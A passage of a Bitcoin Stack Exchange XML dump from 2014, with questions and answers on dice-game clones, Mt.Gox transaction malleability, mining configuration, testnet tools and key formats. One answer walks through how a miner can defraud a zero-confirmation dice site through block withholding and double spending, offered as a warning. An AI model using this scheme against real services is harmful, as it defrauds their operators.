  <row Id="21957" PostTypeId="1" CreationDate="2014-02-10T12:26:03.587" Score="-1" ViewCount="3673" Body="&lt;p&gt;There are many clones of SatoshiDice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SatoshDice is very primitive game in a technical sense. However, it's very popular among Bitcoin users. It seems like the same thing would be true of altcoins, but there are only 10-20 alt-coin dices versus 200-300 alt-coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems like the engine of satoshi-dice might be easy to implementat. Probably, without a server-side database. One page-php + bitcoind + little log + small cron's script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That is why I'm looking for turnkey solution.&lt;/p&gt;&#xA;" OwnerUserId="13087" LastEditorUserId="2306" LastEditDate="2014-12-27T20:03:30.123" LastActivityDate="2014-12-27T20:03:30.123" Title="Is there an open source clone of SatoshiDice that works on altcoins?" Tags="|satoshidice|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21958" PostTypeId="2" ParentId="21513" CreationDate="2014-02-10T12:34:24.860" Score="0" Body="&lt;p&gt;It would not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The fiats are not part of the blockchain except for book entries.  The strength of cryptocurrencies, the cryptography, isn't yet strong enough to beat down the door of the exchange and take the fiats back when their holders misbehave.  Blockchains currently have no legal rights to knock down their doors and collect.  Courts will have to intervene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone who thinks a system like this is decentralized is kidding themselves.  Whoever holds the fiats is the center: the exchange, the police, the courts, the thieves, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the blockchain had &quot;smashers&quot; who could go force others to comply with the blockchain's rules for a smashing reward &amp;amp; fee, there'd be decentralization since they could force the transfer of fiat, but then you'd be violating anonymity since the smashers have no idea whose door to kick down without identification, but that data probably can't be verified anyways.&lt;/p&gt;&#xA;" OwnerDisplayName="user5107" LastActivityDate="2014-02-10T12:34:24.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21959" PostTypeId="1" AcceptedAnswerId="21961" CreationDate="2014-02-10T12:41:39.127" Score="17" ViewCount="3813" Body="&lt;p&gt;The well-known Bitcoin exchange Mt.Gox last week suspended all Bitcoin withdrawals because of &quot;technical issues&quot;, which today have been better described in &lt;a href=&quot;https://www.mtgox.com/press_release_20140210.html&quot;&gt;this press release&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This looks like a serious problem, but is it actually true?&lt;br&gt;&#xA;Has this issue been confirmed by third parties?&lt;br&gt;&#xA;Has it really been known &quot;for a while&quot;?&lt;br&gt;&#xA;What true impact can it have?&lt;/p&gt;&#xA;" OwnerUserId="1311" LastEditorUserId="5406" LastEditDate="2014-03-08T17:32:05.300" LastActivityDate="2014-03-08T22:48:57.577" Title="Is this &quot;transaction malleability&quot; really an issue?" Tags="|transactions|protocol|mtgox|transaction-malleability|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21961" PostTypeId="2" ParentId="21959" CreationDate="2014-02-10T12:56:27.740" Score="11" Body="&lt;p&gt;&lt;a href=&quot;http://www.cryptocoinsnews.com/2014/02/10/mt-gox-blames-bitcoin-core-developer-greg-maxwell-responds/&quot; rel=&quot;nofollow&quot;&gt;Here's a good interview&lt;/a&gt; by Gregory Maxwell himself &lt;a href=&quot;https://github.com/bitcoin/bitcoin/commits?author=gmaxwell&quot; rel=&quot;nofollow&quot;&gt;who's a Bitcoin developer&lt;/a&gt;: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Oh there is a “problem” in the Bitcoin protocol, known since at least&#xA;  2011 (&lt;a href=&quot;https://en.bitcoin.it/wiki/Transaction_Malleability&quot; rel=&quot;nofollow&quot;&gt;see the link I gave&lt;/a&gt;). But for normal applications, not involving&#xA;  unconfirmed transactions, it shouldn’t cause any severe problems&#xA;  because wallets can handle it locally.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This has to do with systems, such as Mt.Gox, that rely on unconfirmed transactions. Normal Bitcoin apps don't rely on unconfirmed transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;https://en.bitcoin.it/wiki/Transaction_Malleability&quot; rel=&quot;nofollow&quot;&gt;Transaction Malleability&lt;/a&gt; issue that Mt.Gox talks about has been around since 2011. It only effects transactions which are not included in a block. Once a block is hashed, you can't change the transactions within it because then the hash of the block would have to change as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For all other Bitcoin applications that rely on &lt;em&gt;confirmed&lt;/em&gt; transactions, as they should, this is not an issue.&lt;/p&gt;&#xA;" OwnerUserId="8717" LastEditorUserId="267" LastEditDate="2014-03-08T22:48:57.577" LastActivityDate="2014-03-08T22:48:57.577" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21962" PostTypeId="2" ParentId="7342" CreationDate="2014-02-10T12:58:04.930" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://www.kraken.com/&quot; rel=&quot;nofollow&quot;&gt;Kraken.com&lt;/a&gt; offers a number of advanced trading options and a good guide on how to use them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Advanced Order Types:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Stop Loss&lt;/li&gt;&#xA;&lt;li&gt;Stop Loss&lt;/li&gt;&#xA;&lt;li&gt;Limit Trailing&lt;/li&gt;&#xA;&lt;li&gt;Stop Trailing&lt;/li&gt;&#xA;&lt;li&gt;Stop Limit&lt;/li&gt;&#xA;&lt;li&gt;Take Profit&lt;/li&gt;&#xA;&lt;li&gt;Take Profit Limit&lt;/li&gt;&#xA;&lt;li&gt;Stop, Limit&lt;/li&gt;&#xA;&lt;li&gt;Stop Loss, Take Profit&lt;/li&gt;&#xA;&lt;li&gt;Stop Loss, Take Profit Limit&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Though their volume is very low for USD trades,(limiting liquidity), they are popular for EURO-BTX trades and offer fee-less SEPA transfers and low trade fees.&lt;/p&gt;&#xA;" OwnerUserId="8708" LastActivityDate="2014-02-10T12:58:04.930" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21963" PostTypeId="2" ParentId="21959" CreationDate="2014-02-10T13:40:21.523" Score="6" Body="&lt;p&gt;Mt.Gox' escrow wallet service only checks transaction hash. If anybody changes transaction hash before transaction is included into block, service considers transaction invalid and returns coins back to the owner's virtual account. But transaction itself is not invalid, it is finally accepted and coins are sent to the owner.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is primary bug in Mt.Gox's escrow service. They probably failed to detect exceptional situations in their wallets.&lt;/p&gt;&#xA;" OwnerUserId="13322" LastActivityDate="2014-02-10T13:40:21.523" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21964" PostTypeId="1" AcceptedAnswerId="21966" CreationDate="2014-02-10T14:42:53.530" Score="29" ViewCount="34705" Body="&lt;p&gt;The articles of &lt;a href=&quot;https://bitcointalk.org/index.php?topic=41718.0&quot; rel=&quot;noreferrer&quot;&gt;https://bitcointalk.org/index.php?topic=41718.0&lt;/a&gt; seem to be annotated walkthroughs, and I'd like to see the raw code, as it was originally written in the first release.&lt;/p&gt;&#xA;" OwnerUserId="13232" LastEditorUserId="121614" LastEditDate="2022-06-23T15:10:21.953" LastActivityDate="2022-06-23T15:10:21.953" Title="Where can I access the original, Satoshi written Bitcoin code?" Tags="|bitcoin-core|history|satoshi-nakamoto|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21965" PostTypeId="1" CreationDate="2014-02-10T14:47:06.850" Score="4" ViewCount="1753" Body="&lt;p&gt;I understand that GPU might have less accurate results of real numbers because speed/performance is the target. But I don't understand why it also occurred in integer numbers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Taking mining algorithm, scrypt hashing, for example, there are almost integer operations in SHA-256 or PBKDF, such as unsigned integer rotate, shift, add, xor, and bit-select operators. However, it does generate so many false-positive nonces. Everyone can invoke cgminer with arguments &lt;code&gt;-T -D --verbose&lt;/code&gt; to see the detail logs. However, cgminer will verify the result via CPU routine again before sending it to mining pool because too many invalid share cgminer will be banned from the pool. Not everyone knows their GPU generates so many false-positive shares because the default log message does not show this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I don't understand that. Is the problem in GPU or in the scrypt OpenCL code?&lt;/p&gt;&#xA;" OwnerUserId="9307" LastEditorUserId="5406" LastEditDate="2016-04-17T20:07:17.367" LastActivityDate="2016-04-17T20:07:17.367" Title="Why GPU (cgminer) scrypt mining generates so many false-positive nonces?" Tags="|litecoin|cgminer|scrypt|mining-pool-shares|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="21966" PostTypeId="2" ParentId="21964" CreationDate="2014-02-10T14:52:43.007" Score="33" Body="&lt;p&gt;The Bitcoin client has been hosted on GitHub for a while now. It's very close to what Satoshi initially wrote. Here's the first commit dated back to 2009: &lt;a href=&quot;https://github.com/bitcoin/bitcoin/tree/4405b78d6059e536c36974088a8ed4d9f0f29898&quot;&gt;https://github.com/bitcoin/bitcoin/tree/4405b78d6059e536c36974088a8ed4d9f0f29898&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also browse all the commits from way back: &lt;a href=&quot;https://github.com/bitcoin/bitcoin/commits/master?page=151&quot;&gt;https://github.com/bitcoin/bitcoin/commits/master?page=151&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some other research points me to the actual first email sent to the cryptography mailing-list by Satoshi where he actually delivered the 0.1 version: &lt;a href=&quot;http://www.metzdowd.com/pipermail/cryptography/2009-January/014994.html&quot;&gt;http://www.metzdowd.com/pipermail/cryptography/2009-January/014994.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the direct link provided by Satoshi but it doesn't seem to work anymore: &lt;a href=&quot;http://downloads.sourceforge.net/bitcoin/bitcoin-0.1.0.rar&quot;&gt;http://downloads.sourceforge.net/bitcoin/bitcoin-0.1.0.rar&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Googling a bit I found this, which is what you're looking for: &lt;a href=&quot;https://bitcointalk.org/index.php?topic=68121.0&quot;&gt;https://bitcointalk.org/index.php?topic=68121.0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8717" LastEditorUserId="8717" LastEditDate="2014-02-10T15:05:43.823" LastActivityDate="2014-02-10T15:05:43.823" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21967" PostTypeId="1" CreationDate="2014-02-10T16:58:14.590" Score="2" ViewCount="573" Body="&lt;p&gt;I'm looking at the JSON-RPC commands available in the QT client so I can create a multi-tenant wallet service on top of it.  In other words, people would sign up for my site and have the ability to create a wallet, with its own address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One concern I have is that a &quot;change&quot; address would be created and wouldn't go into an account I expect and therefore I need to have a way to manage this in my application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;What JSON RPC commands should (or expressly shouldn't) be used in the above scenario? ... what additional considerations apply?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For example, suppose I want to do a M of N or multisig hosted wallet.  Would those commands &quot;play nicely&quot; with change address?  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Should I export the private key from the wallet, and only import it when it's being used/spent?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In my research I've discovered that  &lt;code&gt;getaddressesbyaccount&lt;/code&gt; only returns one Base58 address per &quot;text name&quot; in my QT client.  I don't understand the conditions when this will be populated with more than one address, if I can manually make this have more than one address (for testing).&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="1878" LastEditDate="2014-02-10T21:34:56.567" LastActivityDate="2014-02-10T21:34:56.567" Title="What JSON RPC commands are suitable for a multi-tenant wallet service?" Tags="|bitcoin-core|json-rpc|multi-signature|litecoin-qt|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21968" PostTypeId="1" CreationDate="2014-02-10T16:58:41.467" Score="2" ViewCount="1256" Body="&lt;p&gt;I was asking myself the same question posed at &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/10470/how-to-run-a-bitcoind-on-a-hosting-securely&quot;&gt;How to run a bitcoind on a hosting securely?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the above posting, George Pearce provided a good suggestion.  However, I have questions but Stackexchange would not let me comment to George.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My questions are:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitaddress.org shows 8 addresses.  How does one generate hundreds of addresses?  How does one get the keys privately, without Bitaddress.org knowing about them and without sending these private keys through the internet from Bitaddress to me?  How does one generate testnet addresses?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would need to use testnet coins while I'm developing and testing.  Blockchain (&lt;a href=&quot;https://blockchain.info/q/addressbalance/1EzwoHtiXB4iFwedPr49iywjZn2nnekhoj?confirmations=6&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blockchain.info/q/addressbalance/1EzwoHtiXB4iFwedPr49iywjZn2nnekhoj?confirmations=6&lt;/a&gt;) and BlockExplorer (&lt;a href=&quot;http://blockexplorer.com/address/mudBLTzFRz4o17Y9CbaWRB9Qr8BkFeYiYj&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://blockexplorer.com/address/mudBLTzFRz4o17Y9CbaWRB9Qr8BkFeYiYj&lt;/a&gt;) do not seem to work with testnet addresses.  Is there a service that does work with testnet?&lt;/p&gt;&#xA;" OwnerUserId="12048" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.707" LastActivityDate="2014-11-09T13:11:35.393" Title="How to use Bitaddress.org and Blockchain.info with Testnet coins?" Tags="|blockchain.info|testnet|bitaddress.org|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21969" PostTypeId="1" AcceptedAnswerId="22268" CreationDate="2014-02-10T17:01:12.493" Score="2" ViewCount="7907" Body="&lt;p&gt;I have been messing with a p2pool which I like (no fee) but has latency about every week causing the miner to stop mining altogether. I would like to employ some kind of failover strategy so that the miner will mine somewhere else if unable to connect to this free p2pool, but I would like to be mining on the primary pool as often as possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried looking at the multipool settings, but they weren't very informative in terms of what happens when. If I set &lt;code&gt;failover&lt;/code&gt; does that mean that it will only connect to the second if it can't connect to the first? If not, is there any way to set up cgminer this way?&lt;/p&gt;&#xA;" OwnerUserId="12835" LastEditorUserId="5406" LastEditDate="2016-04-10T10:27:28.220" LastActivityDate="2016-04-10T10:27:28.220" Title="How does the &quot;failover&quot; setting in cgminer work?" Tags="|cgminer|miner-configuration|p2pool|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21970" PostTypeId="1" CreationDate="2014-02-10T17:13:42.150" Score="1" ViewCount="379" Body="&lt;p&gt;Where can I find some double spend attempts examples on testnet? Can anyone refer me some TXIDs with double spends on testnet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I need some example in which an outpoint was intended to be used in two different transactions, like this one:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/tx/6900440e3bf9d7177ef69b8ca8bb620cb439d9261ce54b3df564f6778547003c&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/tx/6900440e3bf9d7177ef69b8ca8bb620cb439d9261ce54b3df564f6778547003c&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but on the testnet.&lt;/p&gt;&#xA;" OwnerUserId="12146" LastEditorUserId="12146" LastEditDate="2014-02-10T18:24:25.683" LastActivityDate="2014-03-12T22:03:37.700" Title="Double spend attempts examples on testnet?" Tags="|testnet|doublespend|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="21971" PostTypeId="2" ParentId="21968" CreationDate="2014-02-10T17:16:04.717" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Technical_background_of_version_1_Bitcoin_addresses&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Technical_background_of_version_1_Bitcoin_addresses&lt;/a&gt; - you can read about how to generate adresses by yourself. You can also use &lt;code&gt;getnewaddress&lt;/code&gt; RPC command to generate a lot of adresses. &lt;code&gt;dumpprivkey&lt;/code&gt; can show private keys for them.&lt;/li&gt;&#xA;&lt;li&gt;You can use &lt;a href=&quot;http://blockexplorer.com/testnet&quot; rel=&quot;nofollow&quot;&gt;http://blockexplorer.com/testnet&lt;/a&gt; to see what's going on testnet.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="10411" LastEditorUserId="10411" LastEditDate="2014-02-10T17:21:23.370" LastActivityDate="2014-02-10T17:21:23.370" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21972" PostTypeId="2" ParentId="21957" CreationDate="2014-02-10T17:18:04.597" Score="1" Body="&lt;p&gt;Beware, there are lots of problems with dice, especially when there is a relatively low hash rate (e.g. most altcoins). An attacker with enough hashpower to solomine could steal fairly easily. I can't find the article detailing how a miner could defraud you but it goes something like this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Attacker has 250 BTC&lt;/li&gt;&#xA;&lt;li&gt;Attacker makes 2 transactions from one input, but doesn't publish them&lt;br&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;betting 250 BTC on Satoshi Dice 50% 1.98x  &lt;/li&gt;&#xA;&lt;li&gt;sending 250 BTC to another address owned by attacker&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;li&gt;Attacker solo mines bitcoin at 0.1% of network (reasonable expectation to block: 1 week) with transaction b included&lt;/li&gt;&#xA;&lt;li&gt;Attacker finds a block and holds it while sending 250 BTC bet to satoshi dice&lt;/li&gt;&#xA;&lt;li&gt;Within seconds, attacker knows if they've won 245 BTC or if they've lost&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If attacker loses bet: they publish the block, effectively unspending the transaction sent to satoshidice&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If attacker wins bet: they discard the block, since 245 BTC is greater than the 25 expected from the block&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, it's possible for people to game these 0 confirmation games by not paying a fee to the game and sending a double spend with a fee. See: &lt;a href=&quot;https://bitcointalk.org/index.php?topic=130764.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=130764.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any dice game you use should be deposit based, like just-dice.com&lt;/p&gt;&#xA;" OwnerUserId="12835" LastEditorUserId="2306" LastEditDate="2014-12-27T19:49:15.443" LastActivityDate="2014-12-27T19:49:15.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21973" PostTypeId="1" AcceptedAnswerId="21992" CreationDate="2014-02-10T17:44:16.927" Score="2" ViewCount="441" Body="&lt;p&gt;i just synced bitcoinqt which takes about 20GB and then I installed armory which takes another 20GB. Now thats 40GB in space. Seems like it downloaded the blockchain twice? or is it suppose to take this much space due to armory's setup?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/46K8s.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2014-03-08T22:51:35.040" Title="Just installed armory + bitcoinQT synced. It takes a total of 40GB of space?" Tags="|armory|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21974" PostTypeId="1" AcceptedAnswerId="22881" CreationDate="2014-02-10T18:31:53.937" Score="2" ViewCount="1377" Body="&lt;p&gt;I am testing a different version of BigInteger that has different endian formats and the native implementation likes to add or remove zeros from the final output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone provide some sample public and private keys  (not just addresses)&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Compressed&lt;/li&gt;&#xA;&lt;li&gt;Not compressed&lt;/li&gt;&#xA;&lt;li&gt;Leading one or more zero (some implementations of BigInt mess with this) for pub and priv&lt;/li&gt;&#xA;&lt;li&gt;Trailing one or more zero (some implementations of BigInt mess with this) for pub and private&lt;/li&gt;&#xA;&lt;li&gt;Anything that might look &quot;negative&quot; when BigInteger converts an array into it's two's compliment version &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;A compressed version of the above would be greatly appreciated... leaving me with 8 tests.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone with data that might be interpreted as a twos compliment for BigInteger, exposing bugs in the code, would be appreciated as well.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm doing this so the ported version of the QT client will prevent me from creating unspendable addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whomever posts the test vectors for this will likely also assist developers on other platforms (Javascript, Java, C#, etc) and their native versions of BigInteger&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="1878" LastEditDate="2014-02-11T01:06:38.253" LastActivityDate="2018-03-26T12:30:45.083" Title="Need sample compressed and uncompressed Public / Private key pairs for BigInteger" Tags="|address|development|private-key|address-generation|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21975" PostTypeId="2" ParentId="17022" CreationDate="2014-02-10T18:54:03.663" Score="1" Body="&lt;p&gt;Here is the quote you're referring to (&lt;a href=&quot;https://code.google.com/p/bitcoinj/source/browse/core/src/main/java/com/google/bitcoin/core/ECKey.java&quot; rel=&quot;nofollow&quot;&gt;link&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * &amp;lt;p&amp;gt;Represents an elliptic curve public and (optionally) private key, usable for digital signatures but not encryption.&#xA; * Creating a new ECKey with the empty constructor will generate a new random keypair. Other constructors can be used&#xA; * when you already have the public or private parts. If you create a key with only the public part, you can check&#xA; * signatures but not create them.&amp;lt;/p&amp;gt;&#xA; *&#xA; * &amp;lt;p&amp;gt;ECKey also provides access to Bitcoin-Qt compatible text message signing, as accessible via the UI or JSON-RPC.&#xA; * This is slightly different to signing raw bytes - if you want to sign your own data and it won't be exposed as&#xA; * text to people, you don't want to use this. If in doubt, ask on the mailing list.&amp;lt;/p&amp;gt;&#xA; *&#xA; * &amp;lt;p&amp;gt;The ECDSA algorithm supports &amp;lt;i&amp;gt;key recovery&amp;lt;/i&amp;gt; in which a signature plus a couple of discriminator bits can&#xA; * be reversed to find the public key used to calculate it. This can be convenient when you have a message and a&#xA; * signature and want to find out who signed it, rather than requiring the user to provide the expected identity.&amp;lt;/p&amp;gt;&#xA; */&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This library implements ECDSA is Elliptic Curve Digital &lt;strong&gt;Signature&lt;/strong&gt; Algorithm, hence you can only sign/verify with this algorithm. &#xA;ECDH is Elliptic Curve Diffie Hellman and can be used to share a secret &#xA;key between two parties. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;ECIES is Integrated Encryption Scheme which mix EC and AES, but it is &#xA;not implemented in OpenSSL (the core Bitcoin crypto library) nor the one you reference. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;More details on these algorithms on wikipedia ;) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In conclusion, with ECDSA you can only sign/verify, you may encrypt &#xA;mixing ECDH to generate keys and AES to do symmetric encryption (even at &#xA;command line: look at ecparam, ecdh, enc), or you may use ECIES but you &#xA;need a different library. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On a related note, &lt;a href=&quot;https://bitcointalk.org/index.php?topic=196378.0&quot; rel=&quot;nofollow&quot;&gt;this guy seems to have&lt;/a&gt; re-invented ElGamal encryption using ECDSA but I haven't looked into his code at all.&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2014-02-10T18:54:03.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21976" PostTypeId="1" CreationDate="2014-02-10T19:32:56.263" Score="0" ViewCount="3865" Body="&lt;p&gt;On 26th and 31st of January I transferred each 1 BTC (total of 2 BTC) from my Blockchain wallet to my Coinbase wallet. On the Blockchain site they show up as confirmed transfers. However, on the  Coinbase page they do not show up in my wallet. A 0.10 BTC transfer in December showed up right away. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are phone numbers and e-mail addresses on the Blockchain site, I can't find anything on the Coinbase site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to reach the Coinbase site to inquire about the transfer?&lt;/p&gt;&#xA;" OwnerUserId="13331" LastEditorUserId="5406" LastEditDate="2014-02-10T20:37:47.550" LastActivityDate="2014-08-10T03:48:21.700" Title="Transaction to Coinbase not showing up in account" Tags="|coinbase.com|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21977" PostTypeId="2" ParentId="21976" CreationDate="2014-02-10T19:37:38.907" Score="1" Body="&lt;p&gt;CoinBase has a support portal where you can open a case: &lt;a href=&quot;https://coinbase.desk.com/customer/portal/private/cases&quot; rel=&quot;nofollow&quot;&gt;https://coinbase.desk.com/customer/portal/private/cases&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have to log in with your CoinBase account to see this page.&lt;/p&gt;&#xA;" OwnerUserId="11121" LastActivityDate="2014-02-10T19:37:38.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21978" PostTypeId="1" AcceptedAnswerId="21980" CreationDate="2014-02-10T19:45:21.997" Score="1" ViewCount="212" Body="&lt;p&gt;MyBitcoin used to be an online Bitcoin shared eWallet. It was the go-to place for easily handling bitcoins. The site eventually shut down with a major loss of coins, widely suspected to be perpetrated by the service operator.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its time of closing down is well known (July 2011) but I could not find a reference for when it was opened.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Potentially relevant reading: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/3518/what-is-the-story-behind-mybitcoin&quot;&gt;What is the story behind MyBitcoin?&lt;/a&gt;, &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/6053/how-much-bitcoin-was-lost-in-the-jul-2011-mybitcoin-site-shutdown-incident&quot;&gt;How much Bitcoin was lost in the Jul. 2011 MyBitcoin site shutdown incident?&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="575" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2014-02-10T20:18:00.570" Title="When was MyBitcoin created?" Tags="|e-wallet|history|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21979" PostTypeId="1" AcceptedAnswerId="22003" CreationDate="2014-02-10T19:51:23.363" Score="1" ViewCount="401" Body="&lt;p&gt;I need to convert a public key into a form suitable for use with BouncyCastle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do this I open the debugger and write:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ListAddressGroupings&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I then pick an address and write&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;validateaddress 1HQCZTfr7V7WAMUcVHM21TLfLoeQWEtNmS&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And I get the result: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;&quot;isvalid&quot; : true,&#xA;&quot;address&quot; : &quot;1HQCZTfr7V7WAMUcVHM21TLfLoeQWEtNmS&quot;,&#xA;&quot;ismine&quot; : true,&#xA;&quot;isscript&quot; : false,&#xA;&quot;pubkey&quot; : &quot;020ba3ebc2f55152df5653bb7aba6548f0615d67b072379bdd19e72bc63c052c50&quot;,&#xA;&quot;iscompressed&quot; : true,&#xA;&quot;account&quot; : &quot;testDONOTUSE&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However I'm not sure what format this is in.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;What is the encoding of JSON-RPC's validateaddress value named &lt;code&gt;pubkey&lt;/code&gt;?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I am asking this question so that I can determine the &quot;recId&quot; value needed for signature recovery when a UTF8 message is signed.  In other words, I need convert the public key below into an array that I can use for that purpose.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Is there an easier or better way to get the pubkey from a given wallet?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Sample data&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Base58: 1HQCZTfr7V7WAMUcVHM21TLfLoeQWEtNmS&#xA;Public: 020ba3ebc2f55152df5653bb7aba6548f0615d67b072379bdd19e72bc63c052c50&#xA;&#xA;SignMessage: Test&#xA;Output: 